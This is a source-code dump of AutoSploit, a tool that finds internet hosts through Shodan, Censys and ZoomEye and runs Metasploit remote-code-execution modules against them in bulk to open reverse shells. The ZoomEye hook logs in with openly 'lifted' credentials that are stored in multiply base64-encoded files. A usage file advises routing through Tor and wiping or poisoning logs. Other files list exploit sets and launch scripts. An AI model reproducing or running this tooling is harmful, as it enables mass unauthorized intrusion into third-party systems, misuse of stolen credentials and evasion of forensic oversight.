├── lib ├── __init__.py ├── cmdline │ ├── __init__.py │ └── cmd.py ├── term │ ├── __init__.py │ └── terminal.py ├── creation │ ├── __init__.py │ └── issue_creator.py ├── exploitation │ ├── __init__.py │ └── exploiter.py ├── errors.py ├── output.py ├── jsonize.py ├── banner.py └── settings.py ├── api_calls ├── __init__.py ├── honeyscore_hook.py ├── censys.py ├── shodan.py └── zoomeye.py ├── autosploit ├── __init__.py └── main.py ├── requirements.txt ├── etc ├── text_files │ ├── passes.lst │ ├── users.lst │ ├── auth.key │ ├── gen │ ├── links.txt │ ├── ethics.lst │ └── general ├── scripts │ └── start_services.sh └── json │ ├── default_fuzzers.json │ └── default_modules.json ├── Docker ├── entrypoint.sh ├── Dockerfile └── README.md ├── .gitignore ├── autosploit.py ├── run_autosploit.sh ├── Vagrant ├── bootstrap │ └── bootstrap.sh └── Vagrantfile ├── .github ├── ISSUE_TEMPLATE.md └── .translations │ ├── README-zh.md │ ├── README-fr.md │ └── README-de.md ├── dryrun_autosploit.sh ├── CONTRIBUTING.md ├── install.sh ├── README.md └── LICENSE /lib/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /api_calls/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /autosploit/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /lib/cmdline/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /lib/term/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /lib/creation/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /lib/exploitation/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /lib/errors.py: -------------------------------------------------------------------------------- 1 | class AutoSploitAPIConnectionError(Exception): pass -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | requests==2.20.0 2 | psutil==5.3.0 3 | beautifulsoup4==4.6.3 4 | -------------------------------------------------------------------------------- /etc/text_files/passes.lst: -------------------------------------------------------------------------------- 1 | Vm0xNFUxSXlTWGxUV0dST1UwZFNUMVV3YUVOWFZteFZVMnhPV0ZKdGVIcFdiR2hyWWtaYWMxTnVjRmRpV0VKRVdWZDRkMDVyTVVWaGVqQTk=:7 -------------------------------------------------------------------------------- /Docker/entrypoint.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | /etc/init.d/postgresql start 4 | /etc/init.d/apache2 start 5 | cd AutoSploit/ 6 | 7 | python autosploit.py -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | .idea/* 3 | api.p 4 | hosts.txt 5 | secret.p 6 | uid.p 7 | etc/tokens/* 8 | autosploit_out/* 9 | venv/* 10 | etc/json/* 11 | -------------------------------------------------------------------------------- /etc/text_files/users.lst: -------------------------------------------------------------------------------- 1 | Vm1wR2IyUXhVWGhXV0d4V1lteEtWVmx0ZUV0WFJteFZVVzFHYWxac1NsbGFWV1JIWVd4YWMxTnJiRlZXYkhCUVdWUktTMU5XUmxsalJscFRZa1ZaZWxaVldrWlBWa0pTVUZRd1BRPT0=:7 -------------------------------------------------------------------------------- /autosploit.py: -------------------------------------------------------------------------------- 1 | from autosploit.main import main 2 | from lib.output import error 3 | 4 | 5 | if __name__ == "__main__": 6 | try: 7 | main() 8 | except KeyboardInterrupt: 9 | error("user aborted session") 10 | -------------------------------------------------------------------------------- /Docker/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM phocean/msf 2 | 3 | COPY "entrypoint.sh" . 4 | 5 | RUN apt-get update && \ 6 | apt-get install -y \ 7 | git \ 8 | python-dev \ 9 | python-pip \ 10 | apache2 11 | 12 | RUN chmod +x entrypoint.sh && \ 13 | git clone https://github.com/NullArray/AutoSploit.git && \ 14 | pip install -r AutoSploit/requirements.txt 15 | 16 | EXPOSE 4444 17 | CMD [ "./entrypoint.sh" ] 18 | -------------------------------------------------------------------------------- /Docker/README.md: -------------------------------------------------------------------------------- 1 | # Docker deployment instructions 2 | 3 | 4 | ## From Dockerhub 5 | 6 | ```bash 7 | > docker run -it battlecl0ud/autosploit 8 | ``` 9 | 10 | *Ideally this is to be replaced by project author's dockerhub account* 11 | 12 | ## Build it yourself 13 | 14 | ```bash 15 | > git clone https://github.com/NullArray/AutoSploit.git 16 | > cd Autosploit/Docker 17 | > docker build -t autosploit . 18 | > docker run -it autosploit 19 | ``` 20 | -------------------------------------------------------------------------------- /etc/scripts/start_services.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | function startApacheLinux () { 4 | # NOTE: if you are running on Arch uncomment this 5 | #sudo systemctl start apache > /dev/null 2>&1 6 | # and comment this one out 7 | sudo systemctl start apache2 > /dev/null 2>&1 8 | } 9 | 10 | function startPostgreSQLLinux () { 11 | sudo systemctl start postgresql > /dev/null 2>&1 12 | } 13 | 14 | function main () { 15 | if [ $1 == "linux" ]; then 16 | startApacheLinux; 17 | startPostgreSQLLinux; 18 | else 19 | echo "[*] invalid operating system"; 20 | fi 21 | } 22 | 23 | main $@; 24 | -------------------------------------------------------------------------------- /etc/text_files/auth.key: -------------------------------------------------------------------------------- 1 | Vm0wd2VFMUdiRmhTV0d4V1YwZG9XVll3WkRSV1ZteHlWMjVrVlUxV2NIbFdNalZyWVZVeFYxZHVhRmRTZWtFeFZtMTRTMk15VGtsaFJscHBWa1ZhU1ZkV1VrZFRNazE0Vkc1V2FsSnRhRzlVVmxwWFRrWmFjbHBFVWxwV2JIQllWVEkxVDFkSFNraFZiR2hhWVRGYU0xWXhXbUZqTVZwMFVteG9hVlpyV1hwV1IzaGhZekZhU0ZOclpGaGlSMmhvVm1wT1UyRkdiRlpYYlhScVlrWmFlVlV5Y3pGV01rcEpVV3hzVjFaNlJUQlpla3BIWXpGT2MxWnNaR2xTYTNCWFZtMHhOR1F3TUhoalJXaHNVakJhVlZWc1VsZFhiR1J5VjIxR2FGWnNjSHBaTUZadlZqRktjMk5HYUZwaGExcG9WbXBHYTJOc1pISlBWbVJPWWxkb1dsWXhXbE5TTVZwMFZtdGthbEpXY0ZsWmExVXhZMVpTVjFkdFJrNVdiRlkxV1ROd1YxWnJNVmRqUldSWFRXNUNTRlpxUm1GV01rNUhWRzFHVTFKV2NFVldiR1EwVVRGYVZrMVZWazVTUkVFNQ==:9 -------------------------------------------------------------------------------- /run_autosploit.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | 4 | if [[ $# -lt 1 ]]; then 5 | echo "Syntax:" 6 | echo -e "\t./run_autosploit.sh PORT [WHITELIST]" 7 | exit 1 8 | fi 9 | 10 | echo -e "[!] Make sure you are not on your localhost while running this script, press enter to continue"; 11 | read 12 | 13 | WHITELIST=$2 14 | LPORT=$1 15 | 16 | LHOST=`dig +short @resolver1.opendns.com myip.opendns.com` 17 | TIMESTAMP=`date +%s` 18 | 19 | if [[ ! $WHITELIST ]]; then 20 | python autosploit.py -e -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT -f etc/json/default_modules.json 21 | else 22 | python autosploit.py --whitelist $WHITELIST -e -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT -f etc/json/default_modules.json 23 | fi; -------------------------------------------------------------------------------- /Vagrant/bootstrap/bootstrap.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "Yolosploit configurator 2.42" 4 | sudo apt-get --yes update 5 | sudo apt-get --yes upgrade 6 | 7 | echo "Installing metasploit. BE PATIENT (5 min max?)" 8 | wget --quiet https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run 9 | chmod +x metasploit-latest-linux-x64-installer.run 10 | sudo ./metasploit-latest-linux-x64-installer.run --unattendedmodeui none --prefix /opt/msf --mode unattended 11 | 12 | echo "Installing python2" 13 | sudo apt-get --yes install python python-pip python-virtualenv git 14 | 15 | sudo apt-get --yes install fish 16 | sudo chsh -s /usr/bin/fish ubuntu 17 | 18 | cd ~ 19 | git clone https://github.com/NullArray/AutoSploit 20 | -------------------------------------------------------------------------------- /api_calls/honeyscore_hook.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from bs4 import BeautifulSoup 3 | 4 | 5 | class HoneyHook(object): 6 | 7 | def __init__(self, ip_addy, api_key): 8 | self.ip = ip_addy 9 | self.api_key = api_key 10 | self.url = "https://api.shodan.io/labs/honeyscore/{ip}?key={key}" 11 | self.headers = { 12 | "Referer": "https://honeyscore.shodan.io/", 13 | "Origin": "https://honeyscore.shodan.io" 14 | } 15 | 16 | def make_request(self): 17 | try: 18 | req = requests.get(self.url.format(ip=self.ip, key=self.api_key), headers=self.headers) 19 | honeyscore = float(req.content) 20 | except Exception: 21 | honeyscore = 0.0 22 | return honeyscore 23 | -------------------------------------------------------------------------------- /lib/output.py: -------------------------------------------------------------------------------- 1 | def info(text): 2 | print( 3 | "[\033[1m\033[32m+\033[0m] {}".format( 4 | text 5 | ) 6 | ) 7 | 8 | 9 | def prompt(text, lowercase=True): 10 | question = raw_input( 11 | "[\033[1m\033[36m?\033[0m] {}: ".format( 12 | text 13 | ) 14 | ) 15 | if lowercase: 16 | return question.lower() 17 | return question 18 | 19 | 20 | def error(text): 21 | print( 22 | "[\033[1m\033[31m!\033[0m] {}".format( 23 | text 24 | ) 25 | ) 26 | 27 | 28 | def warning(text): 29 | print( 30 | "[\033[1m\033[33m-\033[0m] {}".format( 31 | text 32 | ) 33 | ) 34 | 35 | 36 | def misc_info(text): 37 | print( 38 | "[\033[90mi\033[0m] {}".format( 39 | text 40 | ) 41 | ) -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE.md: -------------------------------------------------------------------------------- 1 | 5 | 6 | # Running information 7 | 8 | 9 | - What branch did you download? 10 | - Clone, or docker run? 11 | - What OS are you running? 12 | 13 | # Exploit module information 14 | 15 | 16 | - What exploit was deployed? 17 | - Was a session generated for the target? 18 | - What version of metasploit are you running? 19 | 20 | # Program information 21 | 22 | 23 | - Python version number? 24 | - AutoSploit version number? 25 | - Any console output that is relevant to the issue: 26 | - Traceback (error) if any: 27 | 28 | -------------------------------------------------------------------------------- /etc/text_files/gen: -------------------------------------------------------------------------------- 1 | Usage of AutoSploit for attacking targets without prior mutual consent is illegal in pretty much every sense of the word. It is the 2 | end user's responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible 3 | for any misuse or damage caused by this program or any component thereof. 4 | 5 | Developers do not encourage nor condone any illegal activity; 6 | 7 | In OffSec/RedTeam engagements it is important however to mind your operational security. With that in mind, please consider the following: 8 | 9 | - Use AutoSploit on a VPS through a proxy(chain) or Tor 10 | - Keep calm and wipe/data-poison the logs or use tools to do so 11 | - Never connect from your local IP address 12 | - Keep a low profile, AutoSploit is loud 13 | 14 | 15 | In closing, knowledge is not illegal and anybody that tells you learning is wrong is a fool. 16 | Get as much out of this program as we got from writing it. Remember though, common sense and a sense of ethics go a long way. 17 | 18 | Thank you. 19 | -------------------------------------------------------------------------------- /Vagrant/Vagrantfile: -------------------------------------------------------------------------------- 1 | # Use as a strating point to spin up a box in lightsail. 2 | # the vagrant-lightsail plugin is required 3 | # You probably also need to: 4 | # - Configure the ssh keys path 5 | # - Install and configure the aws-cli package 6 | 7 | Vagrant.configure('2') do |config| 8 | config.vm.synced_folder ".", "/vagrant", type: "rsync", 9 | rsync__exclude: ".git/", 10 | rsync__auto: true 11 | 12 | config.ssh.private_key_path = '/path/to/id_rsa' 13 | config.ssh.username = 'ubuntu' 14 | config.vm.box = 'lightsail' 15 | config.vm.box_url = 'https://github.com/thejandroman/vagrant-lightsail/raw/master/box/lightsail.box' 16 | config.vm.hostname = 'autosploit-launcher' 17 | 18 | config.vm.provider :lightsail do |provider, override| 19 | provider.port_info = [{ from_port: 0, to_port: 65535, protocol: 20 | 'all' }] 21 | provider.keypair_name = 'id_rsa' 22 | provider.bundle_id = 'small_1_0' 23 | end 24 | 25 | config.vm.provision "bootstrap", type: "shell", run: "once" do |s| 26 | s.path = "./bootstrap/bootstrap.sh" 27 | end 28 | end 29 | -------------------------------------------------------------------------------- /etc/json/default_fuzzers.json: -------------------------------------------------------------------------------- 1 | { 2 | "exploits": [ 3 | "auxiliary/fuzzers/dns/dns_fuzzer", 4 | "auxiliary/fuzzers/ftp/client_ftp", 5 | "auxiliary/fuzzers/ftp/ftp_pre_post", 6 | "auxiliary/fuzzers/http/http_form_field", 7 | "auxiliary/fuzzers/http/http_get_uri_long", 8 | "auxiliary/fuzzers/http/http_get_uri_strings", 9 | "auxiliary/fuzzers/ntp/ntp_protocol_fuzzer", 10 | "auxiliary/fuzzers/smb/smb2_negotiate_corrupt", 11 | "auxiliary/fuzzers/smb/smb_create_pipe", 12 | "auxiliary/fuzzers/smb/smb_create_pipe_corrupt", 13 | "auxiliary/fuzzers/smb/smb_negotiate_corrupt ", 14 | "auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt", 15 | "auxiliary/fuzzers/smb/smb_tree_connect", 16 | "auxiliary/fuzzers/smb/smb_tree_connect_corrupt", 17 | "auxiliary/fuzzers/smtp/smtp_fuzzer", 18 | "auxiliary/fuzzers/ssh/ssh_kexinit_corrupt", 19 | "auxiliary/fuzzers/ssh/ssh_version_15", 20 | "auxiliary/fuzzers/ssh/ssh_version_2", 21 | "auxiliary/fuzzers/ssh/ssh_version_corrupt", 22 | "auxiliary/fuzzers/tds/tds_login_corrupt", 23 | "auxiliary/fuzzers/tds/tds_login_username" 24 | ] 25 | } 26 | -------------------------------------------------------------------------------- /dryrun_autosploit.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | 4 | if [[ $# -lt 1 ]]; then 5 | echo "Syntax:" 6 | echo -e "\t./dryrun_autosploit.sh [whitelist]" 7 | exit 1 8 | fi 9 | 10 | echo -e "[!] Make sure you are not on your localhost while running this script, press enter to continue"; 11 | read 12 | 13 | WHITELIST=$2 14 | SEARCH_QUERY=$1 15 | LPORT=4444 16 | 17 | LHOST=`dig +short @resolver1.opendns.com myip.opendns.com` 18 | TIMESTAMP=`date +%s` 19 | 20 | 21 | if [ ! $WHITELIST ]; then 22 | echo "executing: python autosploit.py -s -c -q \"${SEARCH_QUERY}\" --overwrite -C \"msf_autorun_${TIMESTAMP}\" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run -e" 23 | 24 | python autosploit.py -s -c -q "${SEARCH_QUERY}" --overwrite -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run -e 25 | else 26 | echo "executing: python autosploit.py -s -c -q \"${SEARCH_QUERY}\" --overwrite --whitelist $WHITELIST -e -C \"msf_autorun_${TIMESTAMP}\" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run -e" 27 | 28 | python autosploit.py -s -c -q "${SEARCH_QUERY}" --overwrite --whitelist $WHITELIST -e -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run -e 29 | fi; 30 | -------------------------------------------------------------------------------- /api_calls/censys.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | import lib.settings 4 | from lib.errors import AutoSploitAPIConnectionError 5 | from lib.settings import ( 6 | HOST_FILE, 7 | API_URLS, 8 | write_to_file 9 | ) 10 | 11 | 12 | class CensysAPIHook(object): 13 | 14 | """ 15 | Censys API hook 16 | """ 17 | 18 | def __init__(self, identity=None, token=None, query=None, proxy=None, agent=None, save_mode=None, **kwargs): 19 | self.id = identity 20 | self.token = token 21 | self.query = query 22 | self.proxy = proxy 23 | self.user_agent = agent 24 | self.host_file = HOST_FILE 25 | self.save_mode = save_mode 26 | 27 | def search(self): 28 | """ 29 | connect to the Censys API and pull all IP addresses from the provided query 30 | """ 31 | discovered_censys_hosts = set() 32 | try: 33 | lib.settings.start_animation("searching Censys with given query '{}'".format(self.query)) 34 | req = requests.post( 35 | API_URLS["censys"], auth=(self.id, self.token), 36 | json={"query": self.query}, headers=self.user_agent, 37 | proxies=self.proxy 38 | ) 39 | json_data = req.json() 40 | for item in json_data["results"]: 41 | discovered_censys_hosts.add(str(item["ip"])) 42 | write_to_file(discovered_censys_hosts, self.host_file, mode=self.save_mode) 43 | return True 44 | except Exception as e: 45 | raise AutoSploitAPIConnectionError(str(e)) -------------------------------------------------------------------------------- /api_calls/shodan.py: -------------------------------------------------------------------------------- 1 | import json 2 | 3 | import requests 4 | 5 | from lib.settings import start_animation 6 | from lib.errors import AutoSploitAPIConnectionError 7 | from lib.settings import ( 8 | API_URLS, 9 | HOST_FILE, 10 | write_to_file 11 | ) 12 | 13 | 14 | class ShodanAPIHook(object): 15 | 16 | """ 17 | Shodan API hook, saves us from having to install another dependency 18 | """ 19 | 20 | def __init__(self, token=None, query=None, proxy=None, agent=None, save_mode=None, **kwargs): 21 | self.token = token 22 | self.query = query 23 | self.proxy = proxy 24 | self.user_agent = agent 25 | self.host_file = HOST_FILE 26 | self.save_mode = save_mode 27 | 28 | def search(self): 29 | """ 30 | connect to the API and grab all IP addresses associated with the provided query 31 | """ 32 | start_animation("searching Shodan with given query '{}'".format(self.query)) 33 | discovered_shodan_hosts = set() 34 | try: 35 | req = requests.get( 36 | API_URLS["shodan"].format(query=self.query, token=self.token), 37 | proxies=self.proxy, headers=self.user_agent 38 | ) 39 | json_data = json.loads(req.content) 40 | for match in json_data["matches"]: 41 | discovered_shodan_hosts.add(match["ip_str"]) 42 | write_to_file(discovered_shodan_hosts, self.host_file, mode=self.save_mode) 43 | return True 44 | except Exception as e: 45 | raise AutoSploitAPIConnectionError(str(e)) 46 | 47 | 48 | -------------------------------------------------------------------------------- /etc/text_files/links.txt: -------------------------------------------------------------------------------- 1 | https://gist.githubusercontent.com/Ekultek/f51e6d61817721aa9341a1f1e66d3602/raw/82dfa8234d2f744c99bc277a1c73efc39770cff6/wordpress_exploits.txt 2 | https://gist.githubusercontent.com/Ekultek/76202c6fa170d6da501da5ab303f01f0/raw/da5205919f1a47f2ccc9c75ab26e1456ad91d3d4/all_exploits.txt 3 | https://gist.githubusercontent.com/Ekultek/e04f27632d40bf10da338b61b8416f95/raw/8c949dd2aa8047ded828b1220e13101b6f28d9ab/linux_exploits.txt 4 | https://gist.githubusercontent.com/Ekultek/d4658fe488f9edafe2b2edc1910e1983/raw/13c21c0ed20b4b10df79b93566fdd111df77f1ed/windows_exploits.txt 5 | https://gist.githubusercontent.com/Ekultek/219036c05e21d8352b4181cbe3df5f4f/raw/0e907b387fa2b35dc75cb94120172155d8d3eb3e/smb_exploits.txt 6 | https://gist.githubusercontent.com/Ekultek/066e1c9285f2a60d2b7103b4d1972864/raw/03d06809a3d79d51f19e3d0c77fb9783f961c485/samba_exploits.txt 7 | https://gist.githubusercontent.com/Ekultek/e9a5c7d37fc58b77bed241d8f2811e8a/raw/789839b93c2c8ce7cc6240cafedfa8e30c2ae4e1/all_rce_exploits.txt 8 | https://gist.githubusercontent.com/Ekultek/c69a01e688ed1739d9e572722ea37ed5/raw/63ead0225784de9389059745b1c869face015d7c/2018_rce_exploits.txt 9 | https://gist.githubusercontent.com/Ekultek/6d1d2d0a83715cb0314fead1ff2768a1/raw/b4fb17df1c3c09464741547ccff674262168a015/excellent_exploits.txt 10 | https://gist.githubusercontent.com/Ekultek/4a06da7d69f8f7f24542f7e978ad67a5/raw/5623ac8b9e4dc8e246e013dc7d7e2b5a31948d78/os_command_exploits.txt 11 | https://gist.githubusercontent.com/Ekultek/2d7e0d98b37b1d06676d409fe0c5b899/raw/f4fe9b3c400dcf86a8147fd903a6ee13e3fbe5f5/buffer_overflow_exploit.txt 12 | https://gist.githubusercontent.com/Ekultek/fdac157e66b82fea3075d2149e9aa1d3/raw/c5002d9c9e2918084e16b83fc1a9af06cf26bd05/osx_exploits.txt -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contributing 2 | 3 | All contributions to AutoSploit are not only welcomed, but highly appreciated, please keep in mind the following while making a pull request: 4 | 5 | - Each request should make at least one logical change 6 | - All contributions should be forked from the `dev-beta` branch 7 | - Each request will need to be reviewed before merged, if anything seems weird we will either fix it or ask you to fix it for us 8 | - If you have multiple pushes in one request, please squash them together (or we will before we merge) 9 | - All pull requests that are merged are provided under the same license as the program is, keep the following in mind; 10 | 11 | > By submitting code contributions to AutoSploit via Git pull request or other, checking them into the AutoSploit's source code repository, it is understood (unless you specify otherwise) that you are offering the AutoSploit copyright holders the unlimited, non-exclusive right to reuse, modify, and re-license the code. This is important because the inability to re-license code has caused devastating problems for other software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them. 12 | 13 | ## Getting started 14 | 15 | To get started making a contribution please do the following: 16 | 17 | - Read our [contribution standards](https://github.com/NullArray/AutoSploit/wiki/Development-information#contribution-standards) 18 | - Fork the repository using the fork button 19 | - `git clone https://github.com//AutoSploit.git -b dev-beta` 20 | - Edit the code to your liking 21 | - After editing `git branch && git checkout ` 22 | - Add your commits and comment them 23 | - `git push --set-upstream origin ` 24 | - Open a [pull request](https://github.com/NullArray/AutoSploit/pulls) 25 | - Wait for us to check it out 26 | 27 | Thank you. 28 | -------------------------------------------------------------------------------- /etc/text_files/ethics.lst: -------------------------------------------------------------------------------- 1 | "Consider if playing Xbox would be a wiser choice before proceeding..." 2 | "Think of it this way, is it worth the jail time?" 3 | "In the end, I can't figure out how to use Autosploit in a way that isn't merely a random act of vandalism.." 4 | "Threat or menace? 'Autosploit' tool sparks fears of empowered 'script kiddies'" 5 | "So far the response to AutoSploit has been a mix of outrage, fear, some applause, and more than a few shrugs." 6 | "Releasing AutoSploit, making mass exploitation even easier, was irresponsible. My friends at the FBI remind us all that while exploitation is easier, it is not any less illegal. #scriptkiddiesbeware" 7 | "New tool makes hacking even easier. Many people are critical of the release." 8 | "The kids are not more dangerous. They already were dangerous. We’ve simply given them a newer, simpler, shinier way to exploit everything that’s broken. Maybe we should fix the ROOT problem" 9 | "This provides an unending opportunity for cybercriminals and script kiddies to hijack vulnerable devices and subsequently launch attacks against online organizations with ease" 10 | "Both Metasploit and Shodan have been available for years, as integral to the pen testers toolkit as Nessus and Burpsuite. But with Autosploit pulling them together, the concern should be focused on curious kids thinking it would be fun to see what they can find" 11 | "My fear is that this has magnified the attack surface, and made it so that every exposed service on the internet will be scanned and probed on a near-constant basis by an entirely new set of attackers." 12 | "The release of tools like these exponentially expands the threat landscape by allowing a wider group of hackers to launch global attacks at will" 13 | "Good to know we’ve weaponized for the masses. Everyone can now be a script kiddie simply by plugging, playing and attacking." 14 | "The fact that something is really easy, does not make unauthorized computer access any less a crime. And tools like this leave a forensic footprint that is miles wide. Yes, you can compromise poorly protected systems very easily with this tool, but you can also end up in a lot of trouble." -------------------------------------------------------------------------------- /.github/.translations/README-zh.md: -------------------------------------------------------------------------------- 1 | # AutoSploit 2 | AutoSploit尝试自动化利用远程主机,通过使用Shodan.io API自动收集目标。该程序允许用户输入他们的平台特定的搜索查询,如: Apache、IIS等等,候选者列表将被检索。 3 | 4 | 完成这个操作后,程序的“Exploit”组件就会通过运行一系列的Metasploit模块来尝试利用这些目标。通过以编程方式将模块的名称与初始搜索查询进行比较来确定将采用哪些Metasploit模块。然而,我已经增加了在“Hail Mary”类型的攻击中针对目标运行所有可用模块的功能。 5 | 6 | 已经选择了可用的Metasploit模块来促进远程代码执行并尝试获得反向TCP Shell和/或Meterpreter会话。通过“Exploit”组件启动之前出现的对话框配置工作区,本地主机和本地端口(用于MSF便利的后端连接)。 7 | 8 | #### 操作安全考虑 9 | 从OPSEC的角度来看,在本地机器上接收连接可能不是最好的想法。 请考虑从具有所需的所有依赖性的VPS运行此工具。 10 | 11 | # 用法 12 | 克隆 repo, 或者通过Docker进行部署。 详细信息可以在这里找到特别感谢Khast3x在这方面的贡献。 13 | 14 | >git clone https://github.com/NullArray/AutoSploit.git 15 | 16 | 您可以从终端用python autosploit.py启动。 启动后,您可以选择五个操作之一。 请参阅下面的选项摘要。 17 | 18 | ```bash 19 | +------------------+----------------------------------------------------+ 20 | | Option | Summary | 21 | +------------------+----------------------------------------------------+ 22 | |1. Usage | Display this informational message. | 23 | |2. Gather Hosts | Query Shodan for a list of platform specific IPs. | 24 | |3. View Hosts | Print gathered IPs/RHOSTS. | 25 | |4. Exploit | Configure MSF and Start exploiting gathered targets| 26 | |5. Quit | Exits AutoSploit. | 27 | +------------------+----------------------------------------------------+ 28 | ``` 29 | # 可选模块 30 | 31 | RCE选择了该工具提供的Metasploit模块。 您可以在本仓库的modules.txt文件中找到它们。 如果您希望添加更多或其他模块,请按以下格式进行。 32 | 33 | >use exploit/linux/http/netgear_wnr2000_rce;exploit -j; 34 | 35 | 每个新的模块都有自己的所属 36 | 37 | # 依赖 38 | 39 | AutoSploit依赖于以下Python2.7模块。 40 | 41 | ```bash 42 | shodan 43 | blessings 44 | ``` 45 | 46 | 如果你发现你没有安装这些软件,就像这样用pip来获取它们。 47 | 48 | ```bash 49 | pip install shodan 50 | pip install blessings 51 | ``` 52 | 由于程序调用了Metasploit框架的功能,所以你也需要安装它。 通过点击[这里](https://www.rapid7.com/products/metasploit/)从Rapid7获取它。 53 | 54 | # 注意 55 | 56 | 虽然这不完全是一个Beta版本,但它是一个早期版本,因为这样的工具可能会在未来发生变化。如果您碰巧遇到了错误,或者希望为工具的改进做出贡献,请随时[打开工单](https://github.com/NullArray/AutoSploit/issues)或[提交合并请求](https://github.com/NullArray/AutoSploit/pulls) 57 | 58 | 感谢! 59 | 60 | -------------------------------------------------------------------------------- /etc/text_files/general: -------------------------------------------------------------------------------- 1 | +------------------------------------------------------------------------+ 2 | | AutoSploit General Usage and Information | 3 | +------------------------------------------------------------------------+ 4 | | As the name suggests AutoSploit attempts to automate the exploitation | 5 | | of remote hosts. Targets are collected by employing the Shodan.io API. | 6 | | | 7 | | The 'Gather Hosts' option will open a dialog from which you can | 8 | | enter platform specific search queries such as 'Apache' or 'IIS'. | 9 | | Upon doing so a list of candidates will be retrieved and saved to | 10 | | hosts.txt in the current working directory. | 11 | | Options to load a custom list of hosts has been | 12 | | included. | 13 | | After this operation has been completed the 'Exploit' option will | 14 | | go about the business of attempting to exploit these targets by | 15 | | running a range of Metasploit modules against them. | 16 | | | 17 | | Workspace, local host and local port for MSF facilitated | 18 | | back connections are configured through the dialog that comes up | 19 | | before the 'Exploit' module is started. | 20 | | | 21 | +-------------------+----------------------------------------------------+ 22 | | Option | Summary | 23 | +-------------------+----------------------------------------------------+ 24 | | 1. Usage/Legal | Display this informational message & Disclaimer | 25 | | 2. Gather Hosts | Query Shodan for a list of platform specific IPs. | 26 | | 3. Custom Hosts | Load in a custom list of IPs/Rhosts | 27 | | 4. Single Host | Add a single host to list and/or exploit directly | 28 | | 5. View Hosts | Print gathered IPs/RHOSTS. | 29 | | 6. Exploit | Configure MSF and Start exploiting gathered targets| 30 | | 99. Quit | Exits AutoSploit. | 31 | +-------------------+----------------------------------------------------+ 32 | | Legal Disclaimer | 33 | +------------------------------------------------------------------------+ 34 | | Usage of AutoSploit for attacking targets without prior mutual consent | 35 | | is illegal. It is the end user's responsibility to obey all applicable | 36 | | local, state, and federal laws. Developers assume no liability and are | 37 | | not responsible for any misuse or damage caused by this program. | 38 | +------------------------------------------------------------------------+ 39 | -------------------------------------------------------------------------------- /api_calls/zoomeye.py: -------------------------------------------------------------------------------- 1 | import os 2 | import base64 3 | import json 4 | 5 | import requests 6 | 7 | from lib.settings import start_animation 8 | from lib.errors import AutoSploitAPIConnectionError 9 | from lib.settings import ( 10 | API_URLS, 11 | HOST_FILE, 12 | write_to_file 13 | ) 14 | 15 | 16 | class ZoomEyeAPIHook(object): 17 | 18 | """ 19 | API hook for the ZoomEye API, in order to connect you need to provide a phone number 20 | so we're going to use some 'lifted' credentials to login for us 21 | """ 22 | 23 | def __init__(self, query=None, proxy=None, agent=None, save_mode=None, **kwargs): 24 | self.query = query 25 | self.host_file = HOST_FILE 26 | self.proxy = proxy 27 | self.user_agent = agent 28 | self.user_file = "{}/etc/text_files/users.lst".format(os.getcwd()) 29 | self.pass_file = "{}/etc/text_files/passes.lst".format(os.getcwd()) 30 | self.save_mode = save_mode 31 | 32 | @staticmethod 33 | def __decode(filepath): 34 | """ 35 | we all know what this does 36 | """ 37 | with open(filepath) as f: 38 | data = f.read() 39 | token, n = data.split(":") 40 | for _ in range(int(n.strip())): 41 | token = base64.b64decode(token) 42 | return token.strip() 43 | 44 | def __get_auth(self): 45 | """ 46 | get the authorization for the authentication token, you have to login 47 | before you can access the API, this is where the 'lifted' creds come into 48 | play. 49 | """ 50 | username = self.__decode(self.user_file) 51 | password = self.__decode(self.pass_file) 52 | data = {"username": username, "password": password} 53 | req = requests.post(API_URLS["zoomeye"][0], json=data) 54 | token = json.loads(req.content) 55 | return token 56 | 57 | def search(self): 58 | """ 59 | connect to the API and pull all the IP addresses that are associated with the 60 | given query 61 | """ 62 | start_animation("searching ZoomEye with given query '{}'".format(self.query)) 63 | discovered_zoomeye_hosts = set() 64 | try: 65 | token = self.__get_auth() 66 | if self.user_agent is None: 67 | headers = {"Authorization": "JWT {}".format(str(token["access_token"]))} 68 | else: 69 | headers = { 70 | "Authorization": "JWT {}".format(str(token["access_token"])), 71 | "User-Agent": self.user_agent["User-Agent"] # oops 72 | } 73 | params = {"query": self.query, "page": "1", "facet": "ipv4"} 74 | req = requests.get( 75 | API_URLS["zoomeye"][1].format(query=self.query), 76 | params=params, headers=headers, proxies=self.proxy 77 | ) 78 | _json_data = req.json() 79 | for item in _json_data["matches"]: 80 | if len(item["ip"]) > 1: 81 | for ip in item["ip"]: 82 | discovered_zoomeye_hosts.add(ip) 83 | 